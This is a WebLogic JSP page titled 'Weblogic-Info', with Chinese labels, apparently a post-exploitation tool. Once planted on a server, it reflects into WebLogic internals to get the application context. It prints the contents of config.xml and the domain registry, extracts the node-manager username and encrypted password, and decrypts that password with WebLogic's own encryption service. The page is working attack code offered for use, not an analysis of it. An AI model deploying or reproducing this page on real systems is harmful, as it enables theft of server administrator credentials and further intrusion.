兼容 10.3.6 与 12c

    1. <%@ page import="java.lang.reflect.Field" %>
    2. <%@ page import="weblogic.servlet.internal.WebAppServletContext" %>
    3. <%@ page import="weblogic.servlet.internal.ServletRequestImpl" %>
    4. <%@ page import="java.io.File" %>
    5. <%@ page import="java.util.Scanner" %>
    6. <%@ page import="java.io.FileReader" %>
    7. <%@ page import="java.util.List" %>
    8. <%@ page import="java.util.ArrayList" %>
    9. <%@ page import="java.util.regex.Pattern" %>
    10. <%@ page import="java.util.regex.Matcher" %>
    11. <%@ page import="weblogic.security.internal.encryption.EncryptionService" %>
    12. <%@ page import="weblogic.security.internal.encryption.ClearOrEncryptedService" %>
    13. <%@ page import="weblogic.security.internal.SerializedSystemIni" %>
    14. <%@ page import="java.nio.charset.StandardCharsets" %>
    15. <%@ page import="java.util.Arrays" %>
    16. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
    17. <html>
    18. <head>
    19. <title>Weblogic-Info</title>
    20. </head>
    21. <body>
    22. <%!
    23. public static WebAppServletContext GetWebAppContext(){
    24. Thread thread = Thread.currentThread();
    25. WebAppServletContext webAppServletContext = null;
    26. try {
    27. Field workEntry = Class.forName("weblogic.work.ExecuteThread").getDeclaredField("workEntry");
    28. workEntry.setAccessible(true);
    29. Object workentry = workEntry.get(thread);
    30. try { //weblogic 12.1.3
    31. Field connectionHandler = workentry.getClass().getDeclaredField("connectionHandler");
    32. connectionHandler.setAccessible(true);
    33. Object http = connectionHandler.get(workentry);
    34. Field request1 = http.getClass().getDeclaredField("request");
    35. request1.setAccessible(true);
    36. ServletRequestImpl servletRequest = (ServletRequestImpl) request1.get(http);
    37. Field context = servletRequest.getClass().getDeclaredField("context");
    38. context.setAccessible(true);
    39. webAppServletContext = (WebAppServletContext) context.get(servletRequest);
    40. } catch (Exception e) {
    41. //weblogic 1036
    42. Field context = workentry.getClass().getDeclaredField("context");
    43. context.setAccessible(true);
    44. webAppServletContext = (WebAppServletContext) context.get(workentry);
    45. }
    46. }catch (Exception e){}
    47. return webAppServletContext;
    48. }
    49. public static String GetFileContent(String path, HttpServletResponse response){
    50. String ConfigContent = "None";
    51. try {
    52. File file = new File(path);
    53. response.getWriter().println("----------------------------------------------------------------------------------------------------------------------------------" + "<br>");
    54. response.getWriter().println("以下是"+ path +"中的内容" + "<br>");
    55. response.getWriter().println("----------------------------------------------------------------------------------------------------------------------------------" + "<br>");
    56. Scanner sc = new Scanner(new FileReader(file));
    57. StringBuilder sb = new StringBuilder();
    58. response.getWriter().println("<xmp>");
    59. while (sc.hasNextLine()) {
    60. String line = sc.nextLine();
    61. response.getWriter().println(line);
    62. sb.append(line);
    63. }
    64. response.getWriter().println("</xmp>");
    65. ConfigContent = sb.toString();
    66. response.getWriter().println("----------------------------------------------------------------------------------------------------------------------------------" + "<br>");
    67. }catch (Exception e){}
    68. return ConfigContent;
    69. }
    70. public static List<String> GetConfigInfo(String pattern, String sb){
    71. List<String> list = new ArrayList<String>();
    72. try {
    73. Pattern pat = Pattern.compile(pattern);
    74. Matcher matcher = pat.matcher(sb);
    75. String info = "";
    76. while (matcher.find()) {
    77. int i = 1;
    78. info = matcher.group(i);
    79. list.add(info);
    80. }
    81. return list;
    82. }catch (Exception e){}
    83. return list;
    84. }
    85. public static String DecryptPass(String encpass){
    86. EncryptionService es = null;
    87. ClearOrEncryptedService ces = null;
    88. es = SerializedSystemIni.getEncryptionService();
    89. if (es == null) {
    90. return "Unable Decrypt";
    91. }
    92. ces = new ClearOrEncryptedService(es);
    93. if (encpass != null) {
    94. return new String(ces.decryptBytes(encpass.getBytes(StandardCharsets.UTF_8)));
    95. }
    96. return "Unable Decrypt";
    97. }
    98. %>
    99. <%
    100. response.getWriter().println("当前项目名称:" + request.getContextPath() + "<br>");
    101. response.getWriter().println("当前应用端口:" + request.getLocalPort() + "<br>");
    102. response.getWriter().println("当前服务器地址:"+ request.getServerName() + "<br>");
    103. try {
    104. //获取WebAppServletContext
    105. WebAppServletContext webAppServletContext = GetWebAppContext();
    106. response.getWriter().println("应用名称:" + webAppServletContext.getAppName() + "<br>");
    107. response.getWriter().println("应用目录:" + webAppServletContext.getRootTempDir().getAbsolutePath() + "<br>");
    108. }catch(Exception e){}
    109. try {
    110. //读取配置文件
    111. String ConfigContent = GetFileContent("./config/config.xml", response);
    112. List<String> DomainVersion = GetConfigInfo("<domain-version>(.*?)</domain-version>", ConfigContent);
    113. List<String> NodeUsername = GetConfigInfo("<node-manager-username>(.*?)</node-manager-username>", ConfigContent);
    114. List<String> NodePassword = GetConfigInfo("<node-manager-password-encrypted>(.*?)</node-manager-password-encrypted>", ConfigContent);
    115. List<String> ConsolePath = GetConfigInfo("<console-context-path>(.*?)</console-context-path>", ConfigContent);
    116. response.getWriter().println("当前weblogic 版本 " + DomainVersion + "<br>");
    117. response.getWriter().println("当前weblogic 控制台 " + ConsolePath + "<br>");
    118. response.getWriter().println("当前weblogic 管理用户名 " + NodeUsername + "<br>");
    119. response.getWriter().println("当前weblogic 密码字符串 " + NodePassword + "<br>");
    120. try {
    121. response.getWriter().println("当前weblogic 尝试解密密码hash值 " + DecryptPass(NodePassword.get(0)) + "<br>");
    122. }catch (Exception e){}
    123. }catch(Exception e){}
    124. try{
    125. String DomainInfo = GetFileContent("./../../../domain-registry.xml", response);
    126. List<String> Domains_list = GetConfigInfo("<domain location=\"(.*?)\"/>", DomainInfo);
    127. String[] Domains = Domains_list.toArray(new String[0]);
    128. response.getWriter().println("当前weblogic存在的域 " + Arrays.toString(Domains) + "<br>");
    129. }catch (Exception e){}
    130. %>
    131. </body>
    132. </html>